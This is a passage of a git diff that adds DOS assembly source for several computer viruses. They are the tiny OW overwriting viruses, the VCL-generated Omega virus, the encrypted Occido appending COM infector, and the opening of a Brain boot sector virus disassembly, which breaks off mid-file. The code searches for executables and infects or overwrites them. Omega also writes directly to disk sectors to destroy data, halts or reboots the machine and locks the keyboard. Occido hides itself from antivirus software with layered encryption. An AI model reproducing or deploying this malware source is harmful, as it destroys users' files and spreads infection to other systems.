+; Overwrites the first file in a directory + + +FNAM Equ 09eh + + Db '*.*',0 +Main: Mov Ah,4eh + Mov Dx,Cx + Int 21h + Mov Ah,3ch + Lea Dx,FNAM +On2: Int 21h + Mov Bh,40h + Xchg Cx,Dx + Xchg Ax,Bx + Jmp On2 +Length Equ $-Main diff --git a/o/OW2.ASM b/o/OW2.ASM new file mode 100755 index 0000000..b4975d2 --- /dev/null +++ b/o/OW2.ASM @@ -0,0 +1,19 @@ +Main: Mov Ah,4eh +On2: Lea Dx,FileSpec + Int 21h + jc on1 + Mov Ax,3d02h + Mov Dx,9eh + Int 21h + Mov bh,40h + Mov Cl,Length + Lea Dx,Main + Xchg Ax,Bx + Int 21h + Mov Ah,3eh + Int 21h + Mov Ah,4fh + Jmp On2 +On1: Ret +FileSpec Db '*.COM',0 +Length Equ $-Main diff --git a/o/OW3.ASM b/o/OW3.ASM new file mode 100755 index 0000000..139eb02 --- /dev/null +++ b/o/OW3.ASM @@ -0,0 +1,17 @@ +Main: Mov Ah,4eh +On2: Lea Dx,FileSpec + Int 21h + jc on1 + Mov Ah,3dh + inc ax + Mov Dx,9eh + Int 21h + Mov Bh,40h + Xchg Ax,Bx + Lea Dx,Main + Mov Cl,Length + Int 21h + Mov Ah,4fh +On1: Jmp On2 +FileSpec Db '*.COM',0 +Length Equ $-Main diff --git a/o/OW4.ASM b/o/OW4.ASM new file mode 100755 index 0000000..276c1ea --- /dev/null +++ b/o/OW4.ASM @@ -0,0 +1,14 @@ +Main: Mov Ah,4eh +On2: Lea Dx,FileSpec + Int 21h + Mov Ax,3d02h + Mov Dx,9eh + Int 21h + Mov Bh,40h + Xchg Ax,Bx + Lea Dx,Main + Mov Cl,Length + Int 21h +On1: Ret +FileSpec Db '*.*',0 +Length Equ $-Main diff --git a/o/OW5.ASM b/o/OW5.ASM new file mode 100755 index 0000000..7f088fd --- /dev/null +++ b/o/OW5.ASM @@ -0,0 +1,13 @@ +Main: Lea Dx,FileSpec + Mov Ah,4eh + Int 21h + Mov Dx,9eh + Mov Ah,3ch + Int 21h + Lea Dx,Main + Mov Bh,40h + Mov Cl,Length + Xchg Ax,Bx + Int 21h +FileSpec Db '*.*',0 +Length Equ $-Main diff --git a/o/OW_42.ASM b/o/OW_42.ASM new file mode 100755 index 0000000..48c853f --- /dev/null +++ b/o/OW_42.ASM @@ -0,0 +1,39 @@ +;OW-42 virus - TridenT group, edited for Crypt Newsletter 13 +; + + +CODE SEGMENT + ASSUME CS:CODE, DS:CODE, ES:CODE, SS:NOTHING + + org 0100h + +start: mov ah,4Eh ; find first file +recurse: + mov dx,0123h ; matching filemask, "*.*" + int 21h + + + db 72h,20h ;hand-coded jump on carry to + ;exit if no more files found + mov ax,3D01h + mov dx,009Eh + int 21h + + mov bh,40h + mov dx,0100h ;starting from beginning + xchg ax,bx ;put handle in ax + mov cl,2Ah ;to write: 42 bytes of virus + int 21h ;write the virus + mov ah,3Eh ;close the file + int 21h + + mov ah,4Fh ;find next file + jmp Short recurse + + + db "*.COM" ;file_mask + dw 0C300h ;hand-coded return + +CODE ENDS + END START + diff --git a/o/Omega1.asm b/o/Omega1.asm new file mode 100755 index 0000000..39034e9 --- /dev/null +++ b/o/Omega1.asm @@ -0,0 +1,540 @@ +; OMEGA.ASM -- Omega: The End +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Noinger + +virus_type equ 1 ; Overwriting Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near +flag: add bx,0 + xchg bx,ax + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + mov cx,0014h ; Do 20 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + call get_month + cmp ax,0009h ; Did the function return 9? + jle skip00 ; If less that or equal, skip effect + call get_day + cmp ax,0010h ; Did the function return 16? + jle skip00 ; If less that or equal, skip effect + call get_hour + cmp ax,0009h ; Did the function return 9? + jle skip00 ; If less that or equal, skip effect + cmp ax,000Fh ; Did the function return 15? + jge skip00 ; If greater than or equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: mov cx,423Fh ; First argument is 16959 +new_shot: push cx ; Save the current count + mov dx,0140h ; DX holds pitch + mov bx,0100h ; BX holds shot duration + in al,061h ; Read the speaker port + and al,11111100b ; Turn off the speaker bit +fire_shot: xor al,2 ; Toggle the speaker bit + out 061h,al ; Write AL to speaker port + add dx,09248h ; + mov cl,3 ; + ror dx,cl ; Figure out the delay time + mov cx,dx ; + and cx,01FFh ; + or cx,10 ; +shoot_pause: loop shoot_pause ; Delay a bit + dec bx ; Are we done with the shot? + jnz fire_shot ; If not, pulse the speaker + and al,11111100b ; Turn off the speaker bit + out 061h,al ; Write AL to speaker port + mov bx,0002h ; BX holds delay time (ticks) + xor ah,ah ; Get time function + int 1Ah ; BIOS timer interrupt + add bx,dx ; Add current time to delay +shoot_delay: int 1Ah ; Get the time again + cmp dx,bx ; Are we done yet? + jne shoot_delay ; If not, keep checking + pop cx ; Restore the count + loop new_shot ; Do another shot + + mov si,0001h ; First argument is 1 + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl si,1 ; Convert to word index + mov word ptr [si + 03FEh],0 ; Zero COM port address + pop es ; Restore ES + +end00: call get_month + cmp ax,0009h ; Did the function return 9? + jne skip01 ; If not equal, skip effect + call get_day + cmp ax,0004h ; Did the function return 4? + jle skip01 ; If less that or equal, skip effect + jmp short strt01 ; Success -- skip jump +skip01: jmp end01 ; Skip the routine +strt01: db 0EAh,000h,000h,0FFh,0FFh ; jmp far FFFFh:0000h + +end01: call get_month + cmp ax,0001h ; Did the function return 1? + jne skip02 ; If not equal, skip effect + call get_day + cmp ax,0001h ; Did the function return 1? + jle skip02 ; If less that or equal, skip effect + call get_hour + cmp ax,000Fh ; Did the function return 15? + jge skip02 ; If greater than or equal, skip effect + jmp short strt02 ; Success -- skip jump +skip02: jmp end02 ; Skip the routine +strt02: mov bx,0001h ; First argument is 1 + mov si,0002h ; Second argument is 2 + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl bx,1 ; Convert to word index + shl si,1 ; Convert to word index + mov ax,word ptr [bx + 03FEh]; Zero COM port address + xchg word ptr [si + 03FEh],ax; Put first value in second, + mov word ptr [bx + 03FEh],ax; and second value in first! + pop es ; Restore ES + +end02: call get_month + cmp ax,000Bh ; Did the function return 11? + jne skip03 ; If not equal, skip effect + call get_day + cmp ax,0004h ; Did the function return 4? + jle skip03 ; If less that or equal, skip effect + call get_hour + cmp ax,000Fh ; Did the function return 15? + jge skip03 ; If greater than or equal, skip effect + jmp short strt03 ; Success -- skip jump +skip03: jmp end03 ; Skip the routine +strt03: int 018h ; Drop to ROM BASIC + +end03: call get_month + cmp ax,000Ch ; Did the function return 12? + jne skip04 ; If not equal, skip effect + call get_day + cmp ax,0002h ; Did the function return 2? + jle skip04 ; If less that or equal, skip effect + cmp ax,0002h ; Did the function return 2? + jge skip04 ; If greater than or equal, skip effect + jmp short strt04 ; Success -- skip jump +skip04: jmp end04 ; Skip the routine +strt04: cli ; Clear the interrupt flag + hlt ; HaLT the computer + jmp short $ ; Just to make sure + +end04: call get_year + cmp ax,07CDh ; Did the function return 1997? + jle skip05 ; If less that or equal, skip effect + call get_month + cmp ax,0001h ; Did the function return 1? + jne skip05 ; If not equal, skip effect + call get_hour + cmp ax,0005h ; Did the function return 5? + jle skip05 ; If less that or equal, skip effect + cmp ax,000Fh ; Did the function return 15? + jge skip05 ; If greater than or equal, skip effect + call get_second + cmp ax,0001h ; Did the function return 1? + jne skip05 ; If not equal, skip effect + jmp short strt05 ; Success -- skip jump +skip05: jmp end05 ; Skip the routine +strt05: mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + +end05: call get_year + cmp ax,07CDh ; Did the function return 1997? + jle skip06 ; If less that or equal, skip effect + call get_month + cmp ax,0001h ; Did the function return 1? + jle skip06 ; If less that or equal, skip effect + call get_hour + cmp ax,0009h ; Did the function return 9? + jle skip06 ; If less that or equal, skip effect + cmp ax,000Fh ; Did the function return 15? + jge skip06 ; If greater than or equal, skip effect + call get_second + cmp ax,0005h ; Did the function return 5? + jne skip06 ; If not equal, skip effect + jmp short strt06 ; Success -- skip jump +skip06: jmp end06 ; Skip the routine +strt06: mov ax,0002h ; First argument is 2 + mov cx,423Fh ; Second argument is 16959 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) + int 026h ; DOS absolute write interrupt + sti ; Restore interrupts + +end06: mov ax,04C00h ; DOS terminate function + int 021h +main endp + + + db 0FDh,0C8h,006h,0C6h,0DFh + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + mov dx,offset com_mask ; DX points to "*.COM" + call find_files ; Try to infect a .COM file + jnc done_searching ; If successful the exit + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect an .EXE file + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +exe_mask db "*.EXE",0 ; Mask for all .EXE files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: mov si,offset path_string ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [path_ad],di ; Save the PATH address for later + mov word ptr [path_ad + 2],es ; Save PATH's segment for later + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [path_ad] ; DS:SI points to the PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[path_ad],si; Store SI in the path address + ret ; Return to caller +found_subdir endp + + db 0BFh,0C0h,0BDh,072h,05Fh + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 0A9h,06Bh,0DAh,081h,0AFh + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes? + jne infection_done ; If it is then exit + + cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM? + je infection_done ; If it is then skip it + + cmp word ptr [si + 01Ah],(finish - start) + jb infection_done ; If it's too small then exit + + mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,4 ; CX holds bytes to read (4) + mov dx,offset buffer ; DX points to buffer + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + push si ; Save DTA address before compare + mov si,offset buffer ; SI points to comparison buffer + mov di,offset flag ; DI points to virus flag + mov cx,4 ; CX holds number of bytes (4) + rep cmpsb ; Compare the first four bytes + pop si ; Restore DTA address + je infection_done ; If equal then exit + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +buffer db 4 dup (?) ; Buffer to hold test data +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + + db 0F1h,0F6h,003h,06Bh,099h + +get_day proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_day endp + + db 0CDh,005h,004h,026h,0CFh + +get_hour proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,ch ; Copy hour into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_hour endp + + db 0F3h,06Ah,0F8h,002h,08Ah + +get_month proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dh ; Copy month into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_month endp + + db 0A8h,000h,015h,081h,0E7h + +get_second proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,dh ; Copy second into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_second endp + + db 03Fh,0FFh,089h,057h,0F2h + +get_year proc near + mov ah,02Ah ; DOS get date function + int 021h + xchg cx,ax ; Transfer the year into AX + ret ; Return to caller +get_year endp + +data00: +db "Says the OMEGA virus:" + +db "It has been nice playing these games with you, +db "...but now it is all over." +db "[...I am the Alpha and the Omega, the begining and the end.]" +db "-Rev 22:6" +db "Your C drive is being raptured!" + +db "[...It is finished...]" +db "-Rev 16:17" + + +db "____________" +db "/ \" +db "| |" +db "| |" +db "| |" +db "\ \ / /" +db "\______\ /______/" + +db "Omega" +db "(The End)" + +vcl_marker db "[VCL]",0 ; VCL creation marker + +encrypt_code proc near + mov si,offset encrypt_decrypt; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 8],dx ; Low word of timer is new key + + xor byte ptr [si],1 ; + xor byte ptr [si + 7],1 ; Change all SIs to DIs + xor word ptr [si + 10],0101h; (and vice-versa) + + mov di,offset finish ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + mov si,offset write_stuff ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + mov dx,offset start ; DX points to virus + + call finish ; Encrypt/write/decrypt + + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/o/occido.asm b/o/occido.asm new file mode 100755 index 0000000..c485d00 --- /dev/null +++ b/o/occido.asm @@ -0,0 +1,285 @@ +; NAME: Occido.com ( 'Occido' = Several unfriendly meanings in Latin ) +; TYPE: Appending +; ENCRYPTION: Yes ( Double ) +; INFECTS: COM +; RESIDENT: No +; STEALTH: No +; DT: No ( Directory Transversal ) +; REPAIRABLE: Yes +; PAYLOAD: No +; SIZE: 328 bytes +; AUTHOR: The Virus Elf + +; Appends itself to files while encrypting itself with two different +; encryption routines. Only infects 5 files per run of an infected file. +; After infecting 5 files, or all in current directory, it will hide itself +; before closing. I just felt like doing it for more fun. If a person were +; to pause a running program and do a mem dump, the virus would not show up +; because it hides itself before returning control to the running progge. + +start: +jmp Virus_start ; Jumps to the start of the virus. This + ; will change as the virus is appended to + ; different size files. +Virus_start: +call Delta ; Now we have to get the delta offset. By + ; calling Delta we push the address of 'pop bp' + ; onto the stack. +Delta: +pop bp ; Put the address into BP so it can be used. +sub bp,offset delta ; Now this takes the distance that Delta is now + ; now (BP) and subtracts where it started + ; (Offset Delta). Understand?? Hopefully you do! + ; Because most files are different sizes, and this + ; virus just attaches itself to the end we have + ; to find out where it is before it can do anything. + +Skip: +jmp DHidden ; We have to skip the decrypt part on the first run + +Decrypt: + ; Give length of area to decrypt to CX +;mov cx,cryptie-hidden ; This is written later to keep correct file size + ; and offsets. It overwrites the 'jmp hidden'. +lea di,[bp+hidden] ; Start of area to decrypt +mov si,di ; its also the destination for decrypted part +call Cryptie ; Decrypts the virus from here to the decryption + ; routine. + +Hidden: ; Only encrypted once, because this is the decrypt + ; call for the second layer. +lea di,[bp+Dhidden] ; Puts the starting address of the secong layer of + ; encryption into DI +mov si,di ; Then SI +mov cx,DCryptie-Dhidden ; Gets the size for the next area to decrypt +mov dl,03h ; Decryption code value +call DCryptie ; Boom! Decrypts the second layer + +DHidden: ; Area that is hidden with Double encryption + +; Here we will write the saved bytes from the beggining of the file, back +; to where they belong, so that we may run the file as normal, after we +; infect some more files of course :) + +lea si,[bp+saved] ; Notice the [bp+saved]. It accesses a memory locale + ; that would be changed depending on infected file + ; size. We just add our Delta offset to find out + ; its exact location. +lea di,100h ; We are gonna write the saved bytes to the start + ; so we run the program as normal after we infect + ; some files. +mov cx,03h ; The number of bytes we have to write back to start +rep movsb ; Quickly restores the file so we can run it after + ; we get through here. + +lea si,[bp+frstbytes] ; We have to save these over the jmp + ; so that later we can just copy Virus to mem +lea di,[bp+Skip] ; Where the skip instruction is + ; We are gonna over write it with the Frstbytes +mov cx,03h ; Length of area +rep movsb ; Does the job + +push 00h ; Pushes the 0 value to stack, this will keep + ; a count of the files infected during each run. + +mov ax,4E00h ; Function 4Eh: Find First +Findnext: ; Findnext jmp point +lea dx,[bp+filemask] ; Gets the filemask = '*.com',0 +xor cx,cx ; No attributues in this search +int 21h ; Tells DOS to find the *.com files + +jnc Open ; Found one, now open it! + +jmp Badstuff ; NONE left, do some other stuff + +Open: ; Open/Encrypt/Infect routines + +mov ax,3D02h ; Function 3D: Open File + ; 02 = Read/Write access +mov dx,9Eh ; Location of ASCIZ filename +int 21h ; Calls DOS to open the file, with Read/Write access + ; so that we can write the virus to it :) + +xchg bx,ax ; Gives the file handle from AX to BX in one byte. + +mov ah,3Fh ; Function 3Fh: Read from file +mov cx,03h ; We are gonna read the first 3 bytes. CX = # of bytes + ; to read from file. +lea dx,[bp+saved] ; The location for the bytes to be stored when read. +int 21h ; Calls DOS to load the first 3 bytes of Victem file + ; into the 'Saved' location so that it may run correctly. + +mov al,0E9h ; Checks to see if it was a jump instruction +cmp al,[bp+saved] ; by matching E9h to the first byte of the file. +jne Uninfected ; It can't be infected by this virus because the file + ; has NO jmp at its beggining. If it does have a jmp + ; but not from this program it could be from another + ; virus, and double infecting can cause trouble. +jmp Infected + +Uninfected: + +mov ax,[80h+1Ah] ; Gets the filesize of the target file +sub ax,03h ; Takes into account the length of the JMP instruction +mov [bp+jumpto],ax ; Puts the location to jmp to as the + ; 2nd,3rd bytes of the buffer. + + +mov ax,4200h ; Function 42h: Move File Pointer + ; 00h = beggining, after the read the FP moves 3 bytes +xor cx,cx ; 0 = CX +xor dx,dx ; 0 = DX +int 21h ; Calls DOS, this is explained a bit more with the + ; next "Move File Pointer" instruction + +mov ah,40h ; Function 40h: Write to file +mov cx,03 ; Number of bytes to write. CX = # of bytes +lea dx,[bp+jumping]; Start at buffer area, this will write the jump + ; instruction to the beggining of the victem file. +int 21h ; Blammo! This is the jmp that skips over the normal + ; file and heads write to the virus code. INT 21h tells + ; DOS to write those three bytes. + +mov ax,4202h ; Function 42h: Move File pointer + ; 02 = End of file ( EOF ) +xor cx,cx ; DX:CX is the offset from the File pointer location, +xor dx,dx ; since we want to be exactly at the EOF we clear DX:CX +int 21h ; Calls DOS to move the file pointer + +; Write the Virus to memory + +VirL EQU Ende-Virus_Start + +; Length of Virus except jmp at beggining + +lea si,[bp+Virus_Start] ; Start of virus +lea di,[bp+buffer] ; Area that it will be stored in mem +mov cx,VirL ; Length of it +rep movsb + +; Now we have to modify it so that it is encrypted + +DHiddenL EQU DCryptie-DHidden ; Length of area to encrypt that will + ; end up double encrypted. +HiddenL EQU Cryptie-Hidden ; Length of single encrypt area +DHBufStart EQU DHidden-Virus_Start+Buffer ; Start of DHidden in buffer +HBufStart EQU Hidden-Virus_Start+Buffer ; Start of Hidden in Buffer + +; More ways to clear up the clutter + +; Here we encrypt All but the second and first Decrypt calls, and the +; decryption routines that go with em. + +lea si,[bp+DHBufStart] ; Time to encrypt the first area that will then +mov di,si ; be encrypted again, giving us our Doubly Encrypted + ; area. +mov cx,DHiddenL ; Length of this area +mov dl,05h ; Encryption value +call DCryptie ; Calls the Second Encryption routine + ; because this will become decrypted by the first + ; when infected files are run. + +; Now we encrypt from Hidden to Cryptie ( while encrypting DHidden to +; DCryptie for the second time ) which makes this double encrypting. + +lea si,[bp+HBufStart] ; Start of Hidden area in buffer +mov di,si ; You should know this one by now. +mov cx,HiddenL ; Length of the area +call Cryptie ; Uhoh, now its encrypted and the AV software won't + ; find it. Now what are we gonna do? + ; ( Being sarcastic of course! ) + +; So we have the virus prepared for infecting :) + +mov ah,40h ; Function 40h: Write to file ( everyone's fave ) +lea dx,[bp+buffer] ; Start of virus in mem buffer +mov cx,VirL ; Length of it +int 21h ; Calls DOS to write this :) + +pop cx ; This is gonna be the infected file count. +inc cx ; We must have found and infected one if we are here so + ; makes sure it gets added to the total. +push cx ; Saves it so we can check again after the next file + ; is found. + +Infected: ; A place to jump in case the file is already infected + +mov ah,3Eh ; Function 3Eh: Close File +int 21h ; Calls DOS to close up the file. + +pop cx +push cx +cmp cl,05h ; Check to see if 5 files have been infected. +je BadStuff +mov ax,4F00h ; Function 4Fh: Find next +jmp Findnext + +Badstuff: ; Here is where the payload goes + +exit: + +; Now we are gonna get outta here, first we should cover up any stuff +; that might show up in a mem dump, so that if anyone looks, all they +; see is garbage. + +lea di,[bp+Virus_Start] ; Gets the location of the Virus_start and hides + ; everything but the encryption itself. ( and the + ; kitchen sink, of course ) +mov si,di ; and put it into DI/SI so we can hide the virus + ; from the host program. +mov cx,cryptie-Virus_start ; Gives length of area to hide into CX +call cryptie ; Calls the encryption loop to hide it + + ; Jumps to the start of the actual program. +;push 100h ; This is encrypted because the call to cryptie +;ret ; will decrypt it and it will be the only thing +db 87h,0EFh,0EEh,2Ch ; unencrypted ( along with the cryptie loop, but + ; they are not very easily recognizable as virus + ; code. ) + +Frstbytes: +mov cx,Cryptie - Hidden ; These will overwrite the jmp that skips the + ; decrypt routines on the first run. +saved db 0CDh,020h,0h ; This is the storage space for the first + ; three bytes from the infected file. CD20 is + ; the 'int 20h' instruction used to exit. +jumping db 0E9h ; E9 = jmp +jumpto db 0,0 ; Place for the new address +filemask db '*.com',0 ; The type of files we are gonna infect. +message db 'Occido/The_Virus_Elf/10.08.97' ; Virus Info + +DCryptie: + +lodsb ; Gets next byte Doomed for De/Encryption +xchg dx,cx ; Saves the count while using the DE/ENcrypt value + ; Uses 3 to decrypt and 5 to encrypt +rol al,cl ; Rotates those bits by CL +not al ; Opposite bits +neg al ; One's complement bits +not al ; More opposite bits +xor al,0C4h ; XORs the value +not al ; See above +neg al ; " " +not al ; " " +rol al,cl ; " " +xchg cx,dx ; Returns the count value to CX +stosb ; Puts the encrypted byte into mem +loop DCryptie ; Does all the bytes specified by CX +ret ; Jumps back to the caller + +Cryptie: + +lodsb ; Gets the next byte to De/Encrypt +ror al,04h ; Rotates the bits 4 places +xor al,0C4h ; Does a little XORing +not al ; Gets the opposite bits +neg al ; Gets the one's complement bits +not al ; Gets the opposite bis again +xor al,0C4h ; More XORing +ror al,04h ; Rotates the bits Back 4 places +stosb ; Plugs AL back into mem +loop Cryptie ; Does all the bytes specified by CX +ret ; Jumps back to where it was called + +buffer: +ende: diff --git a/p/PAKKI.ASM b/p/PAKKI.ASM new file mode 100755 index 0000000..3904c1f --- /dev/null +++ b/p/PAKKI.ASM @@ -0,0 +1,686 @@ + +; This is the ashar variant of the classic Pakistani Brain virus. It is large +; by today's standards, although it was one of the first. It is a floppy only +; boot sector infector. + +brain segment byte public + assume cs:brain, ds:brain +; Disassembly done by Dark Angel of PHALCON/SKISM + org 0 + + cli + jmp entervirus +idbytes db 34h, 12h +firsthead db 0 +firstsector dw 2707h +curhead db 0 +cursector dw 1 + db 0, 0, 0, 0 + db 'Welcome to the Dungeon ' +copyright db '(c) 1986 Brain' + db 17h + db '& Amjads (pvt) Ltd VIRUS_SHOE ' + db ' RECORD v9.0 Dedicated to th' + db 'e dynamic memories of millions o' + db 'f virus who are no longer with u' + db 's today - Thanks GOODNESS!! ' + db ' BEWARE OF THE er..VIRUS : \th' + db 'is program is catching prog' + db 'ram follows after these messeges' + db '..... $' + db '#@%$' + db '@!! ' +entervirus: + mov ax,cs + mov ds,ax ; ds = 0 + mov ss,ax ; set stack to after + mov sp,0F000h ; virus + sti + mov al,ds:[7C00h+offset firsthead] + mov ds:[7C00h+offset curhead],al + mov cx,ds:[7C00h+offset firstsector] + mov ds:[7C00h+offset cursector],cx + call calcnext + mov cx,5 ; read five sectors + mov bx,7C00h+200h ; after end of virus + +loadnext: + call readdisk + call calcnext + add bx,200h + loop loadnext + + mov ax,word ptr ds:[413h] ; Base memory size in Kb + sub ax,7 ; - 7 Kb + mov word ptr ds:[413h],ax ; Insert as new value + mov cl,6 + shl ax,cl ; Convert to paragraphs + mov es,ax + mov si,7C00h ; Copy from virus start + mov di,0 ; to start of memory + mov cx,1004h ; Copy 1004h bytes + cld + rep movsb + push es + mov ax,200h + push ax + retf ; return to old boot sector + +readdisk: + push cx + push bx + mov cx,4 ; Try 4 times + +tryread: + push cx + mov dh,ds:[7C00h+offset curhead] + mov dl,0 ; Read sector from default + mov cx,ds:[7C00h+offset cursector] + mov ax,201h ; Disk to memory at es:bx + int 13h + jnc readOK + mov ah,0 ; Reset disk + int 13h ; (force read track 0) + pop cx + loop tryread + + int 18h ; ROM basic on failure +readOK: + pop cx + pop bx + pop cx + retn + +calcnext: + mov al,byte ptr ds:[7C00h+offset cursector] + inc al + mov byte ptr ds:[7C00h+offset cursector],al + cmp al,0Ah + jne donecalc + mov byte ptr ds:[7C00h+offset cursector],1 + mov al,ds:[7C00h+offset curhead] + inc al + mov ds:[7C00h+offset curhead],al + cmp al,2 + jne donecalc + mov byte ptr ds:[7C00h+offset curhead],0 + inc byte ptr ds:[7C00h+offset cursector+1] +donecalc: + retn + +; the following is a collection of garbage bytes + db 00h, 00h, 00h, 00h, 32h,0E3h + db 23h, 4Dh, 59h,0F4h,0A1h, 82h + db 0BCh,0C3h, 12h, 00h, 7Eh, 12h + db 0CDh, 21h,0A2h, 3Ch, 5Fh +a_data dw 050Ch +; Second part of the virus begins here + jmp short entersecondpart + db 